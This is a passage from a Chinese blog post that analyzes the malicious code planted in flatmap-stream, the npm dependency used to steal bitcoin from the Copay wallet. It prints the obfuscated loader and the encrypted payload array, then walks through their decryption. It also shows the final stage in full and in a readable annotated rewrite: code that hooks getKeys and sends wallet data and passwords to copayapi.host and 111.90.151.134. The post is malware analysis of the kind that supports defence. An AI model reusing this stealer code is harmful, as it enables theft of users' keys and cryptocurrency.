JavaScript黑客是这样窃取比特币的,Vue开发者不用担心!

栏目: JavaScript · 发布时间: 5年前

内容简介:摘要:不做黑客,干点其他事也行啊!如果你是JavaScript或者区块链开发者,如果你有关注区块链以及比特币,那么你应该听说了比特币钱包另外,欢迎大家免费试用Fundebug的错误监控服务哈~

摘要:不做黑客,干点其他事也行啊!

如果你是JavaScript或者区块链开发者,如果你有关注区块链以及比特币,那么你应该听说了比特币钱包 Copay 被黑客攻击的事情。但是,你知道这是怎么回事吗?

总结

  • 比特币钱包 copay 依赖 event-stream 模块;
  • 黑客从骗取了 event-stream 模块的npm发布权限;
  • 黑客为 event-stream 模块添加了依赖 flatmap-stream
  • flatmap-stream 含有黑客代码,仅会在 copay 项目中正确执行,窃取用户的密码、私钥等信息,从而盗取比特币;
  • 有人说什么Vue可能遭受攻击,其实没有这回事,因为黑客代码只会在 copay 项目中正确执行。只有 copay 项目的 package.json 中的 description 字符串”A Secure Bitcoin Wallet”能够解密黑客代码;而且,黑客的代码是为 copay 量身定做的,对其他项目没有作用;再说,黑客是来窃取的比特币的,又不是挖矿,你的项目有比特币给人家偷吗?

Q&A

  • 哪个版本的 copay 被攻击了? 5.0.2到5.1.0
  • 哪个版本的 event-stream 被攻击了? 3.3.6
  • 哪个版本的 flatmap-stream 被攻击了? 0.1.1
  • Vue会受到攻击吗? 不会

另外,欢迎大家免费试用Fundebug的错误监控服务哈~

寻找flatmap-stream中的黑客代码

flatmap-stream 已经被npm删除了,不过还能在 UNPKG 上找到代码: https://unpkg.com/flatmap-stream@0.1.1/index.min.js

index.min.js是经过压缩的代码,因此可读性很差:

var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

但是,黑客的黑客代码 隐藏的并不深 ,直接添加在 index.min.js 的后面:

!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

使用 unminify 将黑客代码还原:

! function() {
    try {
        var r = require,
            t = process;

        function e(r) {
            return Buffer.from(r, "hex").toString()
        }
        var n = r(e("2e2f746573742f64617461")),
            o = t[e(n[3])][e(n[4])];
        if (!o) return;
        var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
            a = u.update(n[0], e(n[8]), e(n[9]));
        a += u.final(e(n[9]));
        var f = new module.constructor;
        f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
    } catch (r) {}
}();

这段代码其实很短,黑客混淆的方式并不高明,我们可以一步一步还原。

  • 使用 require 替换变量 r
  • 使用 process 替换变量 t
  • 函数 e 任务很简单,就是把16进制字符串转为ASCII字符串,因此更名为hexToAscii
!(function() {
    try {
        function hexToAscii(r) {
            return Buffer.from(r, "hex").toString();
        }
        var n = require(hexToAscii("2e2f746573742f64617461")),
            o = process[hexToAscii(n[3])][hexToAscii(n[4])];
        if (!o) return;
        var u = require(hexToAscii(n[2]))[hexToAscii(n[6])](
                hexToAscii(n[5]),
                o
            ),
            a = u.update(n[0], hexToAscii(n[8]), hexToAscii(n[9]));
        a += u.final(hexToAscii(n[9]));
        var f = new module.constructor();
        (f.paths = module.paths), f[hexToAscii(n[7])](a, ""), f.exports(n[1]);
    } catch (r) {
        // 忽略报错
    }
})();

很明显,黑客使用hexToAscii函数是为了混淆代码,比如hexToAscii(“2e2f746573742f64617461”)其实就是 ./test/data ,因此数组 n 即为: https://unpkg.com/flatmap-stream@0.1.1/test/data.js ,这个data文件已经找不到了,根据 FallingSnow 之前的分析,它是一个数组:

[
    "75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629",
    "db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1",
    "63727970746f",
    "656e76",
    "6e706d5f7061636b6167655f6465736372697074696f6e",
    "616573323536",
    "6372656174654465636970686572",
    "5f636f6d70696c65",
    "686578",
    "75746638"
]

数组 n 中一共有10个元素,除了前面2个元素,其他元素在代码中均通过hexToAscii函数进行了转换,其转换结果如下:

  • hexToAscii(n[2]): crypto
  • hexToAscii(n[3]): env
  • hexToAscii(n[4]): npm_package_description
  • hexToAscii(n[5]): aes256
  • hexToAscii(n[6]): createDecipher
  • hexToAscii(n[7]): _compile
  • hexToAscii(n[8]): hex
  • hexToAscii(n[9]): utf8

将这些值全部替换掉,代码如下:

!(function() {
    try {
        var n = [
            "75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629",
            "db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1"
        ];
        var o = process["env"]["npm_package_description"];
        if (!o) return;
        var u = require("crypto")["createDecipher"]("aes256", o),
            a = u.update(n[0], "hex", "utf8");
        a += u.final("utf8");
        var f = new module.constructor();
        (f.paths = module.paths), f["_compile"](a, ""), f.exports(n[1]);
    } catch (r) {
        // 忽略报错
    }
})();

代码中使用了 crypto.createDecipher 函数,其文档如下:

crypto.createDecipher(algorithm, password)
// Creates and returns a Decipher object that uses the given algorithm and password

可知,代码将项目的npm_package_description作为密码来解密 n[0] 字符串,而 copay 项目的 package.jsondescription 属性是 “A Secure Bitcoin Wallet” ,”恰好”可以成功解密n[0]字符串, unminify 之后如下:

/*@@*/
module.exports = function(e) {
    try {
        if (!/build\:.*\-release/.test(process.argv[2])) return;
        var t = process.env.npm_package_description,
            r = require("fs"),
            i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
            n = r.statSync(i),
            c = r.readFileSync(i, "utf8"),
            o = require("crypto").createDecipher("aes256", t),
            s = o.update(e, "hex", "utf8");
        s = "\n" + (s += o.final("utf8"));
        var a = c.indexOf("\n/*@@*/");
        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
            } catch (e) {}
        })
    } catch (e) {}
};

我们在解密的代码中看到了完全一样的套路,只是这次解密的是 n[1]unminify 之后如下:

/*@@*/ ! function() {
    function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";

            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }

            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();

这段代码才是真正窃取比特币的代码,我们稍后再分析。

黑客是如何隐藏黑客代码的?

  • 黑客一共隐藏了3段代码;
  • 第1段代码隐藏在 flatmap-streamindex.min.js 结尾,代码中使用了16进制字符串来隐藏正真使用的字符串;
  • 第2段代码隐藏在 flatmap-streamtest/data 的数组中,需要使用 copay 项目的 description 字符串才能解密,它在第1段代码中解密;
  • 第3段代码也隐藏在 flatmap-streamtest/data 的数组中,需要使用 copay 项目的 description 字符串才能解密,它在第2段代码中解密;
  • 正真窃取比特币钱包 copay 的是第3段代码;
  • 第2段和第3段代码刚好需要使用 copay 中的description字符串 “A Secure Bitcoin Wallet” 才能解密,可知黑客攻击的目标就是 copay 项目;
  • 黑客多处使用了 Buffer.from(str, “hex”).toString() 来混淆代码,将ASCII字符串转换为16进制字符串,使我们难以读懂代码;
  • 黑客2次使用了AES256算法加密黑客代码,如果找不到解密的密码,就不可能知道黑客到底是攻击哪个项目,也不知道他干了什么。 maths22 成功 找到 了密码”A Secure Bitcoin Wallet”以及被攻击的项目 copay
  • 黑客把所有黑客代码都写在了try…catch里面,否则抛出莫名其妙的错误很容易暴露;(这里从另一个角度证明了监控代码错误的重要性,欢迎大家免费试用Fundebug)

黑客是如何窃取比特币的

我分析并且简化了黑客的第3段代码,如下:

/*global cordova resolveLocalFileSystemURL chrome*/
!(function() {
    var http = require("http");
    var crypto = require("crypto");
    // 黑客的公钥,用于加密窃取的数据,这样只有黑客的公钥可以解密
    var publicKey =
        "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";

    // 将窃取的数据发送到黑客的服务器
    function httpRequest(hostname, path, data) {
        var request = http.request(
            {
                hostname: hostname,
                port: 8080,
                method: "POST",
                path: "/" + path,
                headers: {
                    "Content-Length": data.length,
                    "Content-Type": "text/html"
                }
            },
            function() {}
        );
        request.on("error", function() {});
        request.write(data);
        request.end();
    }

    // 用户密码发送至http://111.90.151.134:8080/p
    // 用户其他信息发送至http://111.90.151.134:8080/c
    function sendToHacker(path, t) {
        // 黑客对数据进行了简单的编码以及加密
        for (var n = "", r = 0; r < t.length; r += 200) {
            var o = t.substr(r, 200);
            // 使用黑客的公钥对窃取的数据进行加密
            n +=
                crypto
                    .publicEncrypt(publicKey, Buffer.from(o, "utf8"))
                    .toString("hex") + "+";
        }
        httpRequest("copayapi.host", path, n);
        httpRequest("111.90.151.134", path, n);
    }

    // 窃取用户信息
    function getUserInfo(type, n) {
        if (window.cordova) {
            var e = cordova.file.dataDirectory;
            resolveLocalFileSystemURL(e, function(e) {
                e.getFile(
                    type,
                    {
                        create: !1
                    },
                    function(e) {
                        e.file(function(e) {
                            var t = new FileReader();
                            (t.onloadend = function() {
                                return n(JSON.parse(t.result));
                            }),
                                (t.onerror = function() {
                                    t.abort();
                                }),
                                t.readAsText(e);
                        });
                    }
                );
            });
        } else {
            var r = localStorage.getItem(type);
            if (r) return n(JSON.parse(r));

            chrome.storage.local.get(type, function(e) {
                if (e) return n(JSON.parse(e[type]));
            });
        }
    }

    function steal() {
        var ifSteal = false;
        // 窃取将用户的隐私信息,比如私钥
        getUserInfo("profile", function(profile) {
            for (var t in profile.credentials) {
                var n = profile.credentials[t];
                if (n.network == "livenet") {
                    getUserInfo(
                        "balanceCache-" + n.walletId,
                        function(e) {
                            var t = this;
                            t.balance = parseFloat(e.balance.split(" ")[0]);
                            // 当比特币超过100个或者比特币的价值超过1000美元时,将用户数据发送到黑客服务器
                            if (
                                ("btc" == t.coin && t.balance > 100) ||
                                ("bch" == t.coin && t.balance > 1000)
                            ) {
                                ifSteal = true;
                                sendToHacker("c", JSON.stringify(t));
                            }
                        }.bind(n)
                    );
                }
            }
        });
        // 通过重写getKeys函数来窃取用户的密码
        var Credentials = require("bitcore-wallet-client/lib/credentials.js");
        Credentials.prototype.getKeysFunc = Credentials.prototype.getKeys;
        Credentials.prototype.getKeys = function(password) {
            var keys = this.getKeysFunc(password);
            if (ifSteal) {
                // 将窃取的密码发送到黑客服务器
                sendToHacker("p", password + "\t" + this.xPubKey);
            }
            return keys;
        };
